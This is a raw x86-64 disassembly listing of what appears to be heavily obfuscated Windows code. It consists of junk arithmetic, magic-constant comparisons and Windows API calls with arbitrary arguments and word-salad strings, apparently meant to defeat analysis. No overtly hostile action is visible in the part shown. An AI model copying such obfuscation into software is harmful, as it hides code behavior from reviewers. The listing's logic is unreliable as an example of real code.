movzx ecx, word [rsp + 0xeb4]
add eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x9090]
mov ecx, dword [rsp + 0x4ec4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14b0], ax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e58], eax
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x90c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9038], rax
movsx eax, word [rsp + 0x14ac]
movsx ecx, word [rsp + 0xfbc]
add eax, ecx
mov word [0x14025d750], ax
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x8fd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e5c], eax
mov rax, qword [rsp + 0x90b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [rsp + 0x1f6]
sar eax, cl
mov byte [rsp + 0x1f8], al
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0x14ac]
or eax, ecx
mov rcx, qword [rsp + 0x9040]
mov word [rcx], ax
movzx eax, word [rsp + 0x14b0]
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x9090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ec4], eax
mov eax, dword [rsp + 0x4e88]
mov dword [rsp + 0x4ebc], eax
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14a8]
add eax, ecx
mov rcx, qword [0x14025d758]
mov word [rcx], ax
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x90a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x90c0], rax
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x90b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [rsp + 0x1f6]
and eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14ac], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14b0]
sub eax, ecx
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fa0], rax
mov eax, dword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x4e98]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ebc], eax
mov rax, qword [rsp + 0x9090]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8fd0]
mov qword [rsp + 0x90e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x90e0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14025c008], eax
jmp 0x14005afac
cmp dword [rsp + 0x4e64], 0x936a
jae 0x14005b7a1
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x90a8]
mov qword [rsp + 0x90e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x90e8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x90a8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1ac]
or eax, ecx
mov byte [rsp + 0x1f8], al
mov eax, dword [rsp + 0x4e64]
add eax, 8
mov dword [rsp + 0x4e64], eax
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x90b0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9000]
mov byte [rcx], al
mov rax, qword [rsp + 0x90b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f7], al
movzx eax, word [rsp + 0x14b0]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [0x14025d758]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14ac], ax
mov rax, qword [rsp + 0x8fd0]
mov rcx, qword [0x14025d760]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14025d758]
mov word [rcx], ax
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x90c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x90a8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xeb4]
movzx ecx, word [rsp + 0x14a4]
add eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov word [rcx], ax
movzx eax, word [rsp + 0x14b0]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a4], ax
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x90b8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
movsx eax, word [0x14025d750]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x14ac], ax
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x90a8]
mov qword [rsp + 0x90f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x90f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9038], rax
mov eax, dword [0x14025c008]
mov ecx, dword [rsp + 0x4e18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90c8]
mov ecx, dword [rsp + 0x4e58]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14025c010], eax
jmp 0x14005b53a
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
movzx eax, byte [0x14025c00c]
movzx ecx, byte [rsp + 0x1ac]
sub eax, ecx
mov byte [rsp + 0x1f6], al
mov eax, dword [rsp + 0x4e4c]
add eax, 0x79
mov dword [rsp + 0x4e4c], eax
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9040]
mov word [rcx], ax
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f7]
add eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
movsx eax, word [rsp + 0x14ac]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a8], ax
movzx eax, word [rsp + 0xeb4]
movzx ecx, word [rsp + 0x14a4]
and eax, ecx
mov word [rsp + 0x14b0], ax
mov rax, qword [rsp + 0x90c8]
mov rcx, qword [rsp + 0x8f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8fc0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x9090]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8fd0]
mov qword [rsp + 0x90f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x90f8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14025c008], eax
mov rax, qword [rsp + 0x8fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e18]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ec4], eax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1ac]
sar eax, cl
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb4]
sub eax, ecx
mov word [rsp + 0x14b0], ax
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x90b8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x90b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f7]
add eax, ecx
mov rcx, qword [rsp + 0x90b0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4e9c]
mov ecx, dword [rsp + 0x4e88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x9038]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90a0], rax
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0x14a8]
add eax, ecx
mov rcx, qword [0x14025d758]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [rsp + 0x4e20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e30], eax
mov rax, qword [0x14025d758]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14a8], ax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1ac]
and eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
xor eax, ecx
mov word [rsp + 0xeb4], ax
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0xfbc]
or eax, ecx
mov word [rsp + 0x14ac], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x90b0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x90a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9038]
sar rax, cl
mov qword [rsp + 0x90c0], rax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8fa0], rax
cmp dword [rsp + 0x4e4c], 0xfafc
jbe 0x14005b7a1
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov qword [rsp + 0x9100], rax
movabs rax, 0x734ab63b197aef5d
cmp qword [rsp + 0x9100], rax
je 0x14005bb12
movabs rax, 0x73dd07a9f8100438
cmp qword [rsp + 0x9100], rax
je 0x14005bb32
jmp 0x14005bb70
mov eax, dword [rsp + 0x4e5c]
mov ecx, dword [rsp + 0x4e8c]
add ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
call fcn.14020f790
nop
jmp 0x14005bb70
xor r9d, r9d
mov r8d, 0xa3
mov edx, 0xdf
mov rcx, qword [rsp + 0x9108]
call qword [sym.imp.KERNEL32.dll_WriteTapemark]
mov dword [rsp + 0x4dec], eax
mov eax, dword [0x14025c010]
mov ecx, dword [rsp + 0x4dec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0xeb4]
movzx edx, word [rsp + 0x14b0]
sub ecx, edx
cmp eax, ecx
jge 0x14005bbf4
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14b0]
sub eax, ecx
mov word [rsp + 0xeb4], ax
mov rcx, qword [rsp + 0x9088]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4e70], eax
movzx r8d, word [rsp + 0x14a8]
mov rax, qword [rsp + 0x8f98]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x90a0]
call fcn.14020f290
nop
jmp 0x14005bdd6
movzx eax, byte [0x14025c00c]
mov byte [rsp + 0x1f9], al
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8fa0]
mov rdx, qword [rsp + 0x8f60]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x14005bdaa
movzx eax, byte [rsp + 0x1f7]
mov byte [rsp + 0x1fa], al
movzx eax, byte [rsp + 0x1fa]
mov byte [rsp + 0x4ecc], al
cmp byte [rsp + 0x4ecc], 0x30
je 0x14005bd8e
cmp byte [rsp + 0x4ecc], 0x35
je 0x14005bc75
jmp 0x14005bdaa
mov rax, qword [rsp + 0x8fc0]
mov qword [rsp + 0x9110], rax
movabs rax, 0x7202a071b6ddc072
cmp qword [rsp + 0x9110], rax
je 0x14005bcb6
movabs rax, 0xb780e95100ec4413
cmp qword [rsp + 0x9110], rax
je 0x14005bd55
jmp 0x14005bd8c
movsx eax, word [0x14025d750]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14a8], ax
mov ecx, ILGetNext
call qword [sym.imp.KERNEL32.dll_AttachConsole]
mov dword [rsp + 0x4e80], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14ac]
sar eax, cl
mov rcx, qword [rsp + 0x9040]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8fe0]
mov qword [rsp + 0x9118], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9118]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0x90a8]
mov r8, qword [rax]
mov edx, dword [rsp + 0x4e98]
mov ecx, dword [rsp + 0x4e98]
call fcn.14020ffb0
nop
jmp 0x14005bd8c
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x9120]
mov r8d, 0xfe
lea rdx, [rsp + 0x283d0]
lea rcx, str.Befriended_necklaceUnrecognisably
call qword [sym.imp.KERNEL32.dll_CheckNameLegalDOS8Dot3A]
mov dword [rsp + 0x4ea8], eax
jmp 0x14005bdaa
mov rax, qword [0x14025d760]
mov rcx, qword [rsp + 0x8fd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e20], eax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8fa0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8fc0], rax
movzx eax, byte [rsp + 0x1ac]
mov byte [0x14025d752], al
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov dword [rsp + 0x4ed0], eax
cmp dword [rsp + 0x4ed0], 0
je 0x14005be8f
cmp dword [rsp + 0x4ed0], 0xf11
je 0x14005be08
jmp 0x14020e490
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x90c0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x90a8]
mov qword [rcx], rax
lea r9, [rsp + 0x8ff0]
mov r8d, SHSetInstanceExplorer
lea rdx, [rsp + 0x90a8]
mov rcx, qword [rsp + 0x9088]
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov dword [rsp + 0x4ed4], eax
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1f9]
add eax, ecx
mov byte [rsp + 0x1ac], al
movzx eax, word [rsp + 0x14a4]
movzx ecx, word [rsp + 0x14b0]
add eax, ecx
mov rcx, qword [rsp + 0x8ff8]
mov word [rcx], ax
jmp 0x14020e490
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb4]
and eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1fa]
mov rcx, qword [rsp + 0x90b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x90c8]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e88], eax
mov rax, qword [rsp + 0x90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9038]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x90c0], rax
movsx eax, word [rsp + 0x14ac]
movsx ecx, word [rsp + 0x14a8]
sub eax, ecx
mov rcx, qword [0x14025d758]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e5c]
mov rcx, qword [rsp + 0x8fd0]
mov qword [rsp + 0x9128], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9128]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xfbc], ax
movsx eax, byte [rsp + 0x1fa]
movsx ecx, byte [rsp + 0x1f7]
sar eax, cl
mov rcx, qword [rsp + 0x9000]
mov byte [rcx], al
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fa]
xor eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1f8]
and eax, ecx
mov byte [rsp + 0x1f9], al
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14b0]
add eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x9038]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x90c0], rax
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [rsp + 0x4ec4]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14025c008], eax
mov eax, dword [rsp + 0x4ebc]
mov ecx, dword [rsp + 0x4e98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1f9]
add eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x90b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fa], al
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0x14ac]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
add eax, ecx
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14a8], ax
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [rsp + 0x1f8]
or eax, ecx
mov byte [rsp + 0x1f6], al
mov eax, dword [rsp + 0x4e88]
mov ecx, dword [rsp + 0x4ebc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14025d758]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x4e8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e20], eax
mov eax, dword [rsp + 0x4e04]
add eax, 0x86
mov dword [rsp + 0x4e04], eax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x8fa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc0], rax
mov rax, qword [0x14025d758]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fa]
sub eax, ecx
mov byte [rsp + 0x1f7], al
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ff8]
mov word [rcx], ax
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ff8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [0x14025d752]
and eax, ecx
mov byte [rsp + 0x1f9], al
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x9038]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9090]
mov ecx, dword [0x14025c008]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14025d760]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x8fd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ec4], eax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x8fc0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fa0], rax
mov rax, qword [0x14025d758]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14ac]
shl eax, cl
mov word [rsp + 0xfbc], ax
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1f6]
or eax, ecx
mov byte [rsp + 0x1ac], al
movsx eax, word [rsp + 0xfbc]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x90b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x9038]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x90a0], rax
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x8fd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14025c008], eax
mov rax, qword [rsp + 0x90c8]
mov ecx, dword [rsp + 0x4e9c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ebc], eax
cmp dword [rsp + 0x4e04], 0x11c83
jne 0x14005beac
mov rax, qword [rsp + 0x8fd0]
mov eax, dword [rax]
mov dword [rsp + 0x4ed8], eax
cmp dword [rsp + 0x4ed8], 0
je 0x14005c3da
cmp dword [rsp + 0x4ed8], 0x5aa3b39b
je 0x14005c44c
jmp 0x14005c4ea
movzx eax, byte [rsp + 0x1ac]
mov byte [rsp + 0x4edc], al
cmp byte [rsp + 0x4edc], 0x2f
je 0x14005c3ff
cmp byte [rsp + 0x4edc], 0x7a
je 0x14005c426
jmp 0x14005c447
mov rax, qword [rsp + 0x8fb0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x90a8]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0x14a4]
call fcn.140210960
nop
jmp 0x14005c447
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc0], rax
jmp 0x14005c4ea
movzx eax, word [rsp + 0xeb4]
movzx ecx, word [rsp + 0x14b0]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x14a4]
and ecx, edx
cmp eax, ecx
jle 0x14005c4d9
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9040]
mov word [rcx], ax
mov r8d, SHTestTokenMembership
lea rdx, [rsp + 0x27920]
lea rcx, str.PutativeCzarExcessively
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
mov qword [rsp + 0x9108], rax
mov rax, qword [rsp + 0x90b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0x8ff8]
movzx ecx, word [rax]
call fcn.14020feb0
nop
mov rax, qword [rsp + 0x90a0]
mov qword [rsp + 0x9130], rax
movabs rax, 0x5ba005130df000bb
cmp qword [rsp + 0x9130], rax
je 0x14005c513
jmp 0x14005c5ac
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fe0]
mov rcx, qword [rsp + 0x90c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4dec], eax
mov dword [rsp + 0x28], ILGetNext
lea rax, [rsp + 0x27bc0]
mov qword [rsp + 0x20], rax
lea r9, str.Lion_absentees_Pigtailed_Reallocated_bonn
lea r8, [rsp + 0x8f98]
mov edx, SHDoDragDrop
mov ecx, reloc.SHELL32.dll_ILCreateFromPathA
call qword [sym.imp.KERNEL32.dll_GetTimeFormatA]
mov dword [rsp + 0x4ee0], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
and eax, ecx
mov word [0x14025d750], ax
jmp 0x14020e446
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1f8]
imul eax, ecx
movzx ecx, byte [rsp + 0x1ac]
movzx edx, byte [rsp + 0x1f9]
sub ecx, edx
cmp eax, ecx
jle 0x14005c736
mov rax, qword [rsp + 0x9090]
mov rcx, qword [0x14025d760]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4e8c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x14005c67b
lea rax, [rsp + 0x27890]
mov qword [rsp + 0x20], rax
mov r9d, 0x8c
lea r8, str.Shareholder_Lunacy
mov edx, 0x4c
mov ecx, 0x85
call qword [sym.imp.KERNEL32.dll_GetStringTypeExA]
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [rsp + 0x4e20]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f60], rax
jmp 0x14005c736
mov eax, dword [rsp + 0x4e9c]
mov dword [rsp + 0x4ee4], eax
cmp dword [rsp + 0x4ee4], 0x52e9df21
je 0x14005c698
jmp 0x14005c706
